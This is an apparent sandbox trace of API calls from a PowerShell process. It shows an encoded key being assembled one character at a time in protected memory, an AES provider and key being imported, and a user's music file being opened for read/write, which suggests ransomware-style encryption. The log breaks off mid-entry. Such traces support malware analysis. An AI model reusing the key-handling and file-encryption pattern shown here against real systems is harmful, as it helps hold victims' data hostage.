SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.913] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0235.913] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0235.913] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.913] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0235.913] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.913] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0235.913] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0235.913] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.914] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0235.914] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.914] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0235.914] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0235.914] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.914] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0235.914] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.914] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0235.914] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0235.914] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.914] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0235.914] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.914] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0235.914] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0235.914] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.915] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0235.915] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.915] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0235.915] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0235.915] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.915] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0235.915] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.915] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0235.915] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0235.915] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.915] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0235.915] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.915] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0235.916] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0235.916] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0235.916] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0235.916] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.916] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0235.916] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.916] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0235.916] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0235.916] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.917] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0235.917] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.917] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0235.917] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0235.917] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.917] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0235.917] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.917] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0235.917] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0235.917] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.917] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0235.917] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.917] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0235.918] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0235.918] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.918] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0235.918] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.918] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0235.918] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0235.918] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.918] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0235.918] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.918] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0235.918] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0235.918] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.918] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0235.919] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.919] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0235.919] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0235.919] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.919] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0235.919] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.919] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0235.919] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0235.919] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0235.920] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0235.920] SystemFunction041 (in: Memory=0x5c9af84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9af84) returned 0x0 [0235.920] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0235.920] SystemFunction040 (in: Memory=0x5c9af84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9af84) returned 0x0 [0235.920] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0235.920] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0235.920] SystemFunction041 (in: Memory=0x5c9af84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9af84) returned 0x0 [0235.920] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0235.920] SystemFunction040 (in: Memory=0x5c9af84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9af84) returned 0x0 [0235.920] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0235.920] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0235.920] SystemFunction041 (in: Memory=0x5c9af84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9af84) returned 0x0 [0235.920] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0235.921] SystemFunction040 (in: Memory=0x5c9af84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9af84) returned 0x0 [0235.921] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0235.921] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0235.921] SystemFunction041 (in: Memory=0x5c9af84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9af84) returned 0x0 [0235.921] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0235.921] SystemFunction040 (in: Memory=0x5c9af84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9af84) returned 0x0 [0235.921] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0235.921] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0235.921] SystemFunction041 (in: Memory=0x5c9af84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9af84) returned 0x0 [0235.921] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0235.921] SystemFunction040 (in: Memory=0x5c9af84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9af84) returned 0x0 [0235.921] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0235.921] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0235.921] SystemFunction041 (in: Memory=0x5c9af84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9af84) returned 0x0 [0235.922] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0235.922] SystemFunction040 (in: Memory=0x5c9af84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9af84) returned 0x0 [0235.922] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0235.922] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0235.922] SystemFunction041 (in: Memory=0x5c9af84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9af84) returned 0x0 [0235.922] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0235.922] SystemFunction040 (in: Memory=0x5c9af84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9af84) returned 0x0 [0235.922] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0235.922] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0235.922] SystemFunction041 (in: Memory=0x5c9af84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9af84) returned 0x0 [0235.922] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0235.922] SystemFunction040 (in: Memory=0x5c9af84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9af84) returned 0x0 [0235.922] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0235.923] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0235.923] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0235.923] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0235.923] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0235.923] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0235.923] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0235.923] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0235.923] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0235.923] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0235.924] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0235.924] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0235.924] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0235.924] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0235.924] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0235.924] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0235.924] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0235.924] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0235.924] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0235.924] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0235.924] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0235.924] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0235.924] EtwEventActivityIdControl () returned 0x0 [0235.925] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0235.925] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0235.925] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0235.925] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0235.926] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x5c4d298) returned 1 [0235.928] CryptImportKey (in: hProv=0x5c4d298, pbData=0x23e1ac0*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c69440) returned 1 [0235.928] CryptContextAddRef (hProv=0x5c4d298, pdwReserved=0x0, dwFlags=0x0) returned 1 [0235.929] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0235.929] EtwEventActivityIdControl () returned 0x0 [0235.929] EtwEventActivityIdControl () returned 0x0 [0235.929] EtwEventActivityIdControl () returned 0x0 [0235.956] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\69V7ZlNsE_6KW0Ym e.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\69v7zlnse_6kw0ym e.mp3")) returned 0x20 [0235.957] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\69V7ZlNsE_6KW0Ym e.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\69v7zlnse_6kw0ym e.mp3")) returned 0x20 [0235.957] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\69V7ZlNsE_6KW0Ym e.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0235.957] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\69V7ZlNsE_6KW0Ym e.mp3", nBufferLength=0x53, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\69V7ZlNsE_6KW0Ym e.mp3", lpFilePart=0x0) returned 0x52 [0235.958] EtwEventActivityIdControl () returned 0x0 [0235.958] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0235.958] EtwEventActivityIdControl () returned 0x0 [0235.958] EtwEventActivityIdControl () returned 0x0 [0235.958] EtwEventActivityIdControl () returned 0x0 [0235.959] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\69V7ZlNsE_6KW0Ym e.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0235.959] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\69V7ZlNsE_6KW0Ym e.mp3", nBufferLength=0x53, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\69V7ZlNsE_6KW0Ym e.mp3", lpFilePart=0x0) returned 0x52 [0235.960] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0235.960] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\69V7ZlNsE_6KW0Ym e.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\69v7zlnse_6kw0ym e.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x454 [0235.960] GetFileType (hFile=0x454) returned 0x1 [0235.960] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0235.960] GetFileType (hFile=0x454) returned 0x1 [0235.960] EtwEventActivityIdControl () returned 0x0 [0235.960] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0235.961] EtwEventActivityIdControl () returned 0x0 [0235.961] EtwEventActivityIdControl () returned 0x0 [0235.961] EtwEventActivityIdControl () returned 0x0 [0235.962] GetFullPathNameW (in: 